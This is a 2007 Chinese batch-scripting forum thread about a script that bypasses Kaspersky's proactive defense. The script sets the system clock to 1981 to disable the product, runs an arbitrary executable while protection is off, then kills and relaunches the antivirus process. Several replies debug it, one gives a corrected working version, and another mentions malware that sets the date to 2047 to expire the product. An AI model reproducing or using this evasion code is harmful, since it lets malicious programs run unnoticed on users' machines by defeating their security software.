Board logo

标题: 绕过卡巴主动防御的批处理【新方法遇到疑问】 [打印本页]

作者: heicai     时间: 2007-6-29 12:32    标题: 绕过卡巴主动防御的批处理【新方法遇到疑问】

网上有个饶过卡巴主动防御的批处理,但是每次恢复日期后卡巴不能一下子快速反映回来,会没响应一分钟左右。

我想到用结束进程再恢复的方法来让它快速反映。

但是写批处理遇上个莫名其妙的问题。

先帖上代码




@echo off
tasklist|findstr /i "avp.exe" && (

set date=%date%
date 1981-01-01
ping -n 12 localhost > nul
haha.exe
date %date%
taskkill /f /t /im avp.exe
for /f "skip=4 tokens=3-7" %%i in ('reg QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\AVP /v ImagePath
') do (
set avpp=%%i %%j %%k %%l %%m
goto restart
)
:restart
call %avpp%
goto exit
)

:exit
echo 结束
pause



问题是启动卡巴后无法执行后面的exit标号后的代码。

我郁闷的要死

请高人指点!!!!


[ Last edited by heicai on 2007-6-29 at 12:59 PM ]
作者: dikex     时间: 2007-6-29 13:01
卡巴有驱动保护,taskkill命令是无法访问或者结束它的进程的,除非你的是绿色版之类的东西
作者: heicai     时间: 2007-6-29 13:02


  Quote:
Originally posted by dikex at 2007-6-29 01:01 PM:
卡巴有驱动保护,taskkill命令是无法访问或者结束它的进程的,除非你的是绿色版之类的东西

把时间改成1981年,再改回来。
这时卡巴就完全瘫痪了。用taskkill命令可以杀死进程!
作者: HAT     时间: 2007-6-29 13:36
把call改成start
作者: heicai     时间: 2007-6-29 13:39


  Quote:
Originally posted by HAT at 2007-6-29 01:36 PM:
把call改成start

乱说,这样连卡巴都启动不起来了。
作者: dikex     时间: 2007-6-29 13:47
注意用语

call调用后需要等待被调用的命令结束才会执行下一个命令的;
改为start可以,但如果路径有空格,直接改会出问题了;

start "" "路径" 参数
作者: heicai     时间: 2007-6-29 13:53
%avpp%的环境变量内的路径是这样的"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 6.0\avp.exe"

麻烦楼上的告诉我start %avpp%具体该怎么写


[ Last edited by heicai on 2007-6-29 at 01:55 PM ]
作者: HAT     时间: 2007-6-29 14:41
//乱说,这样连卡巴都启动不起来了。

要低调 要低调 ^_^
start命令是可以滴
作者: HAT     时间: 2007-6-29 14:47
try this one :)
@echo off
set app=C:\test 1\my test\aa.bat
start "" "%app%"
aa.bat
@echo off
echo 我的目录有这么多空格,还是可以被start执行嘿嘿
pause


  Quote:
我的目录有这么多空格,还是可以被start执行嘿嘿
Press any key to continue . . .


作者: gorke     时间: 2007-6-30 21:37
@echo off
tasklist|findstr /i "avp.exe" && (

set date=%date%
date 1981-01-01
ping -n 12 localhost > nul
haha.exe
date %date%
taskkill /f /t /im avp.exe
for /f "skip=4 tokens=3-7" %%i in ('reg QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\AVP /v ImagePath
') do (
set avpp=%%i %%j %%k %%l %%m
goto restart
)
:restart
start "" %avpp%
goto exit
)

:exit
echo 结束
pause




换成这个就可以了~!
作者: wewe12     时间: 2007-6-30 22:40
还是不行啊,说什么没找到framedyn.dll,因此这个程序未能启动
作者: koala     时间: 2007-8-23 15:50
你就知道 卡巴  没有考虑过你改时间的问题啊
省点时间抱抱猫,转转 论坛学习吧
作者: icyheart     时间: 2007-8-23 19:07
上次在网上见了一种病毒把时间一下改成2047年,卡巴斯基一下子就过期不能用啦这时它的自我保护功能就失效 啦,这时可以K掉它
作者: scriptor     时间: 2007-8-24 03:20


  Quote:
Originally posted by heicai at 2007-6-29 13:53:
%avpp%的环境变量内的路径是这样的"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 6.0\avp.exe"

麻烦楼上的告诉我sta ...

来个全盘搜索
for %%a in (c d e f) do (
  for /f %%b in ('dir /s %%a:\avp.exe') do set avp-%%a=%%~fb
)
然后调用avp-%%a
这个简单
我就不写了

[ Last edited by scriptor on 2007-8-24 at 03:23 AM ]
作者: nforce1     时间: 2007-8-24 14:21
汗一个..研究这个.不会是想做病毒吧??
不过.也学习啦.呵呵
改系统时间真的可以把卡巴K掉啊?
要试验下了
作者: zwgxsy     时间: 2007-10-30 18:52
卡巴的bug 改时间就没用了
作者: putao     时间: 2007-10-30 23:35
很不错